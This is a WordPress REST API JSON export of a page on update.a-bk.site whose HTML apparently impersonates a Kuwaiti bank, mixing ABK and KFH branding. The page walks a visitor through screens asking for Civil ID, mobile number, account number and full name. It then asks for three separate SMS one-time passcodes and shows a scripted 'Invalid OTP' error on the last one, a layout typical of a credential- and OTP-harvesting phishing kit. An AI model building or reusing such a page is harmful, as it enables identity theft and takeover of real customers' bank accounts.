{"id":13,"date":"2026-07-29T12:17:54","date_gmt":"2026-07-29T12:17:54","guid":{"rendered":"https:\/\/update.a-bk.site\/?page_id=13"},"modified":"2026-07-29T12:46:12","modified_gmt":"2026-07-29T12:46:12","slug":"elementor-13","status":"publish","type":"page","link":"https:\/\/update.a-bk.site\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"13\" class=\"elementor elementor-13\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c1393d1 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c1393d1\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c27f24f\" data-id=\"c27f24f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-e372d8e elementor-widget elementor-widget-shortcode\" data-id=\"e372d8e\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\"> \r\n        <div id=\"kfh-app\">\r\n            <!-- STEP 1: INITIAL SPLASH -->\r\n            <div class=\"kfh-screen active\" id=\"step1\">\r\n                <div class=\"screen-container splash-container\">\r\n                    <div class=\"loader-wrapper\">\r\n                        <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" class=\"splash-logo\" alt=\"loader\">\r\n                    <\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- TRANSITION SPLASH OVERLAY -->\r\n            <div class=\"kfh-screen\" id=\"transitionSplash\">\r\n                <div class=\"screen-container splash-container\">\r\n                    <div class=\"loader-wrapper\">\r\n                        <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" class=\"splash-logo\" alt=\"loader\">\r\n                    <\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 2: CIVIL ID & MOBILE NUMBER -->\r\n            <div class=\"kfh-screen\" id=\"step2\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"2\" y1=\"10\" x2=\"22\" y2=\"10\"\/>\r\n                                <line x1=\"6\" y1=\"14\" x2=\"10\" y2=\"14\"\/>\r\n                                <line x1=\"14\" y1=\"14\" x2=\"18\" y2=\"14\"\/>\r\n                                <path d=\"M8 8h8\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">Enter Civil ID & Mobile<\/div>\r\n                        <div class=\"step-subtitle-left\">Please enter your Civil ID and registered mobile number<\/div>\r\n\r\n                        <div class=\"input-label\">Civil ID Number<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <div class=\"input-icon\">\r\n                                <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                    <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                    <line x1=\"2\" y1=\"10\" x2=\"22\" y2=\"10\"\/>\r\n                                <\/svg>\r\n                            <\/div>\r\n                            <input type=\"tel\" class=\"form-input\" id=\"civilId\" placeholder=\"Enter Civil ID\" maxlength=\"12\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <div class=\"input-label\">Mobile Number<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <span style=\"font-weight:600; color:#1a1a2e; padding-left:12px; font-size:15px;\">+965<\/span>\r\n                            <input type=\"tel\" class=\"form-input\" id=\"mobileNumber\" placeholder=\"1 234 5678\" maxlength=\"10\" inputmode=\"numeric\" style=\"padding-left:2px;\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep2Btn\">\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 3: ACCOUNT NUMBER -->\r\n            <div class=\"kfh-screen\" id=\"step3\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"1\" y=\"4\" width=\"22\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"1\" y1=\"10\" x2=\"23\" y2=\"10\"\/>\r\n                                <rect x=\"4\" y=\"14\" width=\"4\" height=\"3\" rx=\"1\"\/>\r\n                                <rect x=\"11\" y=\"14\" width=\"4\" height=\"3\" rx=\"1\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">Enter Account Number<\/div>\r\n                        <div class=\"step-subtitle-left\">Please enter your 13-digit account number<\/div>\r\n\r\n                        <div class=\"input-label\">Account Number<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <div class=\"input-icon\">\r\n                                <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                    <rect x=\"1\" y=\"4\" width=\"22\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                    <line x1=\"1\" y1=\"10\" x2=\"23\" y2=\"10\"\/>\r\n                                <\/svg>\r\n                            <\/div>\r\n                            <input type=\"tel\" class=\"form-input\" id=\"accountNumber\" placeholder=\"Enter 13-digit account number\" maxlength=\"13\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep3Btn\">\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 4: OTP 1 -->\r\n            <div class=\"kfh-screen\" id=\"step4\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                                <line x1=\"8\" y1=\"6\" x2=\"16\" y2=\"6\"\/>\r\n                                <line x1=\"8\" y1=\"10\" x2=\"14\" y2=\"10\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">OTP Verification<\/div>\r\n                        <div class=\"step-subtitle-left\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay1\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer1\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn1\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep4Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 5: FULL NAME -->\r\n            <div class=\"kfh-screen\" id=\"step5\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <path d=\"M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2\"\/>\r\n                                <circle cx=\"12\" cy=\"7\" r=\"4\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">Full Name<\/div>\r\n                        <div class=\"step-subtitle-left\">Enter your full name as on your bank account<\/div>\r\n\r\n                        <div class=\"input-label\">Full Name<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <div class=\"input-icon\">\r\n                                <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                    <path d=\"M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2\"\/>\r\n                                    <circle cx=\"12\" cy=\"7\" r=\"4\"\/>\r\n                                <\/svg>\r\n                            <\/div>\r\n                            <input type=\"text\" class=\"form-input\" id=\"fullName\" placeholder=\"John Doe\" autocomplete=\"name\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep5Btn\">\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 6: OTP 2 -->\r\n            <div class=\"kfh-screen\" id=\"step6\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                                <line x1=\"8\" y1=\"6\" x2=\"16\" y2=\"6\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">OTP Verification (2nd)<\/div>\r\n                        <div class=\"step-subtitle-left\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay2\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer2\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn2\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep6Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 7: FINAL OTP -->\r\n            <div class=\"kfh-screen\" id=\"step7\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"inner-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/update.a-bk.site\/wp-content\/uploads\/2026\/07\/ABK-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FAB303\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                                <line x1=\"8\" y1=\"6\" x2=\"16\" y2=\"6\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">Final OTP Verification<\/div>\r\n                        <div class=\"step-subtitle-left\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay3\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer3\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"error-message\" id=\"errorMessage\">\r\n                            <svg class=\"error-icon\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <circle cx=\"12\" cy=\"12\" r=\"10\"\/>\r\n                                <line x1=\"12\" y1=\"8\" x2=\"12\" y2=\"12\"\/>\r\n                                <line x1=\"12\" y1=\"16\" x2=\"12.01\" y2=\"16\"\/>\r\n                            <\/svg>\r\n                            <span class=\"error-text\">Invalid OTP. Please try again.<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn3\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep7Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n        <\/div>\r\n        <\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-13","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/pages\/13","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/update.a-bk.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13"}],"version-history":[{"count":8,"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/pages\/13\/revisions"}],"predecessor-version":[{"id":22,"href":"https:\/\/update.a-bk.site\/index.php?rest_route=\/wp\/v2\/pages\/13\/revisions\/22"}],"wp:attachment":[{"href":"https:\/\/update.a-bk.site\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}